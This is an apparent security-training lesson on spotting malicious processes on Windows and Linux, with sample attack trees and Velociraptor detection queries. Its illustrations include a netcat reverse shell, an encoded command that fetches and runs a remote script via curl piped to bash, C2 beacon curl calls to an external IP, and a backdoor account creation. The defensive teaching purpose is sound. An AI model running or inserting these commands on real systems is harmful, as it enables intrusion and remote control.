Process Analysis

Why Process Analysis Is the Analyst's Superpower

Every attack — without exception — runs as a process.

When malware detonates on an endpoint, it spawns a process. When an attacker establishes a C2 beacon, a process calls home every 60 seconds. When ransomware encrypts files, a process walks the filesystem. When credentials are dumped from memory, a process reads lsass.exe. When data is exfiltrated, a process opens a network socket and streams bytes to an external server. Lateral movement? A process on one host authenticates to another and launches a process there.

There is no way to attack a system without creating processes. The filesystem can be cleaned. Registry entries can be deleted. Network connections can close. But while an attack is happening, there is always a process — and if you are watching at the right time with the right tools, you will see it.

This is why process analysis is the analyst's superpower. Your SIEM sees alerts. Your threat intelligence provides context. But the endpoint — specifically, its process list — tells you what is actually happening right now. A Wazuh alert says "suspicious PowerShell execution detected." Process analysis tells you exactly which process ran what command, who launched it, what launched the launcher, where the binary lives on disk, what network connections it holds open, and how long it has been running.

In Module 2, you learned to read SIEM alerts. In Module 3, you correlated network traffic. In Module 5, you enriched IOCs with threat intelligence. Now you learn to read the endpoint itself — and it starts with processes.

Process Fundamentals

Every process on every operating system shares a set of core attributes. These are the fields you will inspect during every investigation, on both Windows and Linux endpoints.

Core Process Attributes

PID (Process ID): A unique numeric identifier assigned by the kernel when a process starts. On Windows and Linux alike, the PID is how you reference a specific running process. PIDs are recycled after a process terminates, so a PID alone does not uniquely identify a process across reboots — you need PID + start time for a globally unique reference.

PPID (Parent Process ID): The PID of the process that created this one. Every process (except the first one the kernel creates) has a parent. The parent-child chain is the most important analytical structure in process investigation. An unexpected parent is often the first sign that something is wrong.

Command Line: The exact command and arguments used to launch the process. On Windows, this is often the richest forensic artifact — powershell.exe -enc SQBFAFgA... tells you far more than just knowing PowerShell is running. On Linux, /tmp/.cache/update.sh --beacon --interval 60 immediately reveals intent.

Working Directory: The filesystem path the process was launched from. Legitimate software runs from C:\Program Files\, /usr/bin/, or /opt/. Processes running from temp directories, user home folders, or hidden paths deserve scrutiny.

User Context: The account under which the process runs. A web server running as root or SYSTEM is a bigger risk than one running as www-data or a restricted service account. An attacker who escalates privileges will show processes running under higher-privilege accounts than expected.

Start Time: When the process was created. Start times let you build timelines — which process appeared first, what triggered the chain, and whether the timing correlates with other events (a Wazuh alert, a network connection, a user logon).

Windows Process Hierarchy

Windows has a well-known baseline process tree that every analyst should memorize:

System (PID 4)
└── smss.exe
    └── csrss.exe
    └── wininit.exe
        └── services.exe
            └── svchost.exe (multiple instances)
            └── spoolsv.exe
        └── lsass.exe
    └── winlogon.exe
        └── explorer.exe (user shell)
            └── chrome.exe
            └── outlook.exe
            └── cmd.exe → powershell.exe (if user opens terminal)

Key relationships to memorize: explorer.exe is the shell — it is the parent of anything a user launches interactively. services.exe is the parent of all Windows services. svchost.exe always has services.exe as its parent. lsass.exe (Local Security Authority) handles authentication — any process reading lsass memory is performing credential access.

If you see svchost.exe with a parent other than services.exe, that is an imposter. If you see lsass.exe running from anywhere other than C:\Windows\System32\, that is malware.

Linux Process Hierarchy

Linux follows a simpler tree rooted at PID 1:

init/systemd (PID 1)
├── sshd
│   └── sshd (per-session)
│       └── bash
│           └── user commands (ls, cat, vim, python3...)
├── cron
│   └── scheduled scripts
├── nginx / apache2
│   └── worker processes
├── dockerd
│   └── containerd
│       └── container processes

On Linux, systemd (PID 1) is the ancestor of everything. SSH sessions show a distinctive pattern: sshd → sshd (privilege separation) → bash → user commands. Cron jobs are parented by cron. Web server workers are parented by the master nginx or apache2 process.

If you see a bash process whose parent is a web server worker (like www-data), you are almost certainly looking at a web shell. Web servers spawn worker processes — they do not spawn interactive shells.

Process States

Processes cycle through states: Running (actively executing on CPU), Sleeping (waiting for I/O or a timer), Stopped (paused by a signal), and Zombie (terminated but not yet reaped by the parent). On Windows, similar states exist: Running, Waiting, and Suspended.

Most processes spend the majority of their time sleeping — waiting for network data, disk I/O, or scheduled timers. A process that is consistently in a Running state with high CPU usage is either doing intensive computation (compilation, video encoding) or something suspicious (crypto mining, brute-force cracking).

How Velociraptor Collects Process Data

Velociraptor provides platform-specific artifacts for process enumeration:

• Windows: Windows.System.Pslist — enumerates all running processes with PID, PPID, name, command line, user, start time, binary path, and memory usage
• Linux: Linux.Sys.Pslist — reads /proc filesystem to enumerate processes with PID, PPID, command line, user, state, and binary path

Both artifacts return structured data that you can filter, sort, and correlate using VQL (Velociraptor Query Language). This means you do not need to RDP or SSH into the endpoint — you query it remotely from the Velociraptor console and get structured results in seconds.

Six Red Flags in Process Data

Not every unusual process is malicious, and not every malicious process looks unusual. But after analyzing thousands of incidents, the security community has identified six process characteristics that strongly correlate with malicious activity. When you see any of these, investigate further.

Click to enlarge

1. Unusual Parent-Child Relationships

The most powerful signal in process analysis. Every application has expected parents. When the chain breaks, something forced an unnatural execution path.

Windows examples:

• winword.exe → cmd.exe → powershell.exe: Microsoft Word spawning a command prompt that launches PowerShell is the signature of a macro-based attack. Users do not open Word to run PowerShell commands — malicious macros do.
• svchost.exe with parent cmd.exe: Service Host should always be a child of services.exe. If its parent is a command prompt, something injected or impersonated it.
• explorer.exe → mshta.exe → powershell.exe: HTA files launching PowerShell is a common phishing payload chain.

Linux examples:

• apache2 → bash → whoami: A web server spawning a shell that runs reconnaissance commands is textbook web shell activity.
• bash → python3 → curl connecting to a C2 IP: An interactive shell launching a Python script that phones home is suspicious if no administrator should be running that workflow.
• cron → bash → nc -e /bin/bash: A cron job launching a reverse shell is a persistence mechanism established by an attacker.

2. Execution from Hidden or Unusual Locations

Legitimate software installs to standard directories. Malware hides where analysts do not look.

Windows red flag paths:

• C:\Users\Public\ — Writable by any user, rarely monitored
• C:\Users\<user>\AppData\Local\Temp\ — Temp directories are transient and often overlooked
• Alternate Data Streams (ADS): C:\Users\Public\readme.txt:malware.exe — binary hidden inside a text file's ADS
• C:\ProgramData\ with randomized filenames — C:\ProgramData\xKj29r.exe

Linux red flag paths:

• /tmp/.cache/ or /tmp/.X11-unix/../ — Hidden directories in world-writable temp
• /var/tmp/.fonts/ — Uncommon hidden directory in a persistent temp location
• /dev/shm/payload — Shared memory filesystem, files here never touch disk
• /home/<user>/.local/share/.update — Hidden in a user's dot-directory deep in the hierarchy

3. Encoded or Obfuscated Command Lines

Attackers encode commands to evade signature-based detection. If a human meant to run a command, they type it in plain text.

Windows:

powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0A...
cmd.exe /c "echo BASE64STRING | certutil -decode output.exe"

The -enc / -e flag tells PowerShell to decode and execute a Base64-encoded command. Legitimate administrators rarely use encoded commands in production — they type readable scripts. Attackers use encoding to bypass command-line logging rules that look for keywords like Invoke-Mimikatz or Net.WebClient.

Linux:

echo 'Y3VybCBodHRwOi8vMTg1LjIyMC4xMDEuNDIvcGF5bG9hZC5zaHxiYXNo' | base64 -d | bash
python3 -c "import base64; exec(base64.b64decode('aW1wb3J0IG9z...'))"
perl -e 'use MIME::Base64; eval(decode_base64("dXNlIElPOjpTb2NrZXQ..."))'

The pattern is always the same: take an encoded string, decode it at runtime, and execute. The encoding prevents static analysis tools from seeing the actual payload. Any command line containing base64 -d | bash or base64.b64decode followed by exec should trigger immediate investigation.

4. Name Masquerading

Attackers name their binaries to look like legitimate system processes, hoping analysts will glance at the process list and move on.

Windows masquerading examples:

• svch0st.exe (zero instead of 'o') — impersonating svchost.exe
• csrrs.exe (double 'r') — impersonating csrss.exe
• lsasss.exe (triple 's') — impersonating lsass.exe
• svchost.exe running from C:\Users\Public\ instead of C:\Windows\System32\ — correct name, wrong location

Linux masquerading examples:

• systemd-helper — no such legitimate process exists, but the name blends in
• kworker-update — mimicking kernel worker threads (kworker/0:1) which analysts often skip
• [kthreadd] with brackets but not a real kernel thread — checking /proc/<pid>/exe reveals it links to a binary in /tmp/
• crond running from /var/tmp/ instead of /usr/sbin/ — right name, wrong path

The defense: always verify both the name and the path. A correctly named binary in the wrong directory is just as suspicious as a misspelled name in the right one.

5. Suspicious Network Activity

Processes that establish unexpected network connections — especially outbound to external IPs or listening on unusual ports — deserve scrutiny.

Windows indicators:

• notepad.exe with an active network connection (Notepad has no legitimate reason to use the network)
• svchost.exe connecting to a single external IP repeatedly at regular intervals (C2 beaconing)
• Any process listening on port 4444 (default Metasploit handler), 8080 (common for staging), or 8443 (alternative HTTPS often used by C2 frameworks)

Linux indicators:

• /tmp/.cache/update.sh establishing outbound connections to external IPs every 60 seconds
• A web server worker (www-data) initiating outbound connections (workers respond to inbound requests — they do not initiate outbound ones)
• Any process running as a non-privileged user listening on a port below 1024 (requires special capabilities on modern Linux — if it is happening, check how)
• python3 or perl processes with established connections to known-bad IPs

6. Resource Abuse

Sudden, sustained high resource consumption that does not match the process's purpose.

Both Windows and Linux:

• Crypto miners: Consistent 90-100% CPU usage from a process like xmrig, xmr-stak, or a masqueraded name like svchost.exe or kworker-update. Crypto mining uses all available CPU cores at maximum utilization continuously.
• Large memory consumption by a small binary: A 50KB executable consuming 2GB of RAM is likely unpacking or decrypting a payload in memory.
• Disk I/O spikes: A process rapidly reading and writing across many directories could be ransomware encrypting files.

Reading Process Trees

A process tree is a hierarchical view of parent-child relationships. Reading process trees is like reading a story — the parent tells you how the child came to exist, and the chain tells you the sequence of events that led to the current state.

Click to enlarge

The Key Question

Every time you look at a parent-child relationship, ask one question: "Does this parent make sense for this child?"

explorer.exe → chrome.exe — Yes. The user clicked Chrome from the taskbar or desktop. services.exe → svchost.exe — Yes. Windows services manager starting a service host. sshd → bash — Yes. A user connected via SSH. cron → bash → rsync — Yes. A scheduled backup task.

winword.exe → cmd.exe → powershell.exe — No. Why is Word launching a command prompt? apache2 → bash → cat /etc/passwd — No. Why is a web server spawning a shell that reads the password file?

If the parent does not make sense, you have found the point where legitimate activity ended and malicious activity began.

Suspicious Windows Tree: Macro Attack Chain

explorer.exe (PID 2048)
└── winword.exe (PID 5720) — User opened a document
    └── cmd.exe (PID 6112) — Macro spawned command prompt
        └── powershell.exe -enc SQBFAFgA... (PID 6340)
            └── net.exe user hacker P@ss123 /add (PID 6488)

Reading this tree: The user opened a Word document (normal). The document's macro launched cmd.exe (abnormal — Word should not spawn shells). The command prompt ran an encoded PowerShell command (evasion technique). PowerShell executed net user /add to create a backdoor account (persistence). This is a complete attack chain from initial access through execution to persistence — and you can read every step in the process tree.

Suspicious Linux Tree: Web Shell to C2

systemd (PID 1)
└── apache2 (PID 892) — Web server master process
    └── apache2 (PID 1247) — Worker process (www-data)
        └── bash (PID 3891) — Web shell execution
            └── python3 /tmp/.cache/beacon.py (PID 3920)
                └── curl http://185.220.101.42/cmd (PID 4012)

Reading this tree: Apache spawned a worker process (normal). The worker spawned a bash shell (abnormal — web workers serve HTTP responses, they do not launch interactive shells). This indicates a web shell uploaded to the server. Bash launched a Python script from a hidden temp directory (red flag #2 — unusual location). The Python script runs curl to a suspicious external IP (red flag #5 — C2 communication). The entire chain from initial web shell to active C2 is visible.

Suspicious Linux Tree: Lab Scenario

In Lab 6.2, you will encounter a tree like this:

systemd (PID 1)
└── bash (PID 1847)
    └── python3 /tmp/.cache/update.sh (PID 2103)
        └── curl http://185.220.101.42/beacon (PID 2205)

The update.sh script in /tmp/.cache/ runs curl to 185.220.101.42 every 60 seconds. Hidden directory (/tmp/.cache/), regular interval beaconing, and connection to an external IP — this is a C2 beacon. The "update.sh" name is social engineering for anyone who glances at the process list without investigating.

Process Analysis with Velociraptor

Velociraptor's query language (VQL) lets you investigate processes across your fleet without touching the endpoints directly. Here are the essential queries every analyst needs for process investigation.

Listing All Processes (Sorted by Start Time)

Windows:

SELECT Name, Pid, Ppid, CommandLine, Username, CreateTime, Exe
FROM Artifact.Windows.System.Pslist()
ORDER BY CreateTime

Linux:

SELECT Name, Pid, Ppid, CommandLine, Username, CreateTime, Exe
FROM Artifact.Linux.Sys.Pslist()
ORDER BY CreateTime

This is your starting point for any investigation. Sort by CreateTime to see the chronological sequence. New processes that appeared during the incident window are your primary targets.

Finding Processes in Temp Directories

Windows:

SELECT Name, Pid, Ppid, CommandLine, Username, Exe
FROM Artifact.Windows.System.Pslist()
WHERE Exe =~ '(?i)(temp|tmp|public|appdata|programdata)'
  AND NOT Exe =~ '(?i)windows.temp'

Linux:

SELECT Name, Pid, Ppid, CommandLine, Username, Exe
FROM Artifact.Linux.Sys.Pslist()
WHERE Exe =~ '(/tmp/|/var/tmp/|/dev/shm/)'

Processes running from temp directories are red flag #2. This query surfaces them instantly across the entire process list. On Windows, we exclude the legitimate Windows\Temp path used by some installers.

Finding Processes with Network Connections

Windows:

SELECT Name, Pid, CommandLine, FamilyString as Family,
       TypeString as Type, Status,
       Laddr.IP as LocalIP, Laddr.Port as LocalPort,
       Raddr.IP as RemoteIP, Raddr.Port as RemotePort
FROM Artifact.Windows.Network.Netstat()
WHERE Status = 'ESTABLISHED' OR Status = 'LISTEN'

Linux:

SELECT Name, Pid, CommandLine, Family, Type, Status,
       Laddr.IP as LocalIP, Laddr.Port as LocalPort,
       Raddr.IP as RemoteIP, Raddr.Port as RemotePort
FROM Artifact.Linux.Network.Netstat()
WHERE Status = 'ESTABLISHED' OR Status = 'LISTEN'

This reveals which processes hold active network connections. Look for processes that should not have network activity (like notepad.exe), processes connecting to external IPs at regular intervals (beaconing), and processes listening on unexpected ports.

Finding Encoded Command Lines

Windows:

SELECT Name, Pid, Ppid, CommandLine, Username, CreateTime
FROM Artifact.Windows.System.Pslist()
WHERE CommandLine =~ '(?i)(-enc|-e |encodedcommand|frombase64|certutil.*decode)'

Linux:

SELECT Name, Pid, Ppid, CommandLine, Username, CreateTime
FROM Artifact.Linux.Sys.Pslist()
WHERE CommandLine =~ '(base64\\s+-d|base64\\.b64decode|eval.*decode|\\|\\s*bash)'

These queries catch common encoding patterns used by attackers. On Windows, the -enc flag, certutil -decode, and Base64 conversion functions. On Linux, the base64 -d | bash pipeline and Python/Perl Base64 decoding with eval/exec.

Combining Queries: The Investigation Workflow

A real investigation chains these queries together:

1. Start broad: List all processes sorted by start time. Identify the incident window.
2. Filter suspicious locations: Find anything running from temp directories.
3. Check network activity: See which processes have external connections.
4. Check command lines: Look for encoding or obfuscation.
5. Trace the tree: For any suspicious process, trace its PPID chain back to the root to understand how it was launched.

-- Trace parent chain for a suspicious process (Windows)
SELECT Name, Pid, Ppid, CommandLine, Exe, CreateTime
FROM Artifact.Windows.System.Pslist()
WHERE Pid IN (6340, 6112, 5720, 2048)
ORDER BY CreateTime

This query reconstructs the attack chain by selecting specific PIDs identified during investigation, ordered chronologically.

Key Takeaways

What's Next

You can now read process data like a book — identifying suspicious parents, hidden locations, encoded commands, and C2 behavior across both Windows and Linux endpoints. But attackers do not just run processes — they ensure their processes survive reboots. In Lesson 6.4 — Persistence Mechanisms, you will learn how attackers install themselves permanently: scheduled tasks, cron jobs, registry run keys, systemd services, startup folders, and more. You will learn to hunt for persistence artifacts with Velociraptor and understand why finding the persistence mechanism is often more important than finding the running malware — because persistence is what lets the attacker come back after you reboot the machine.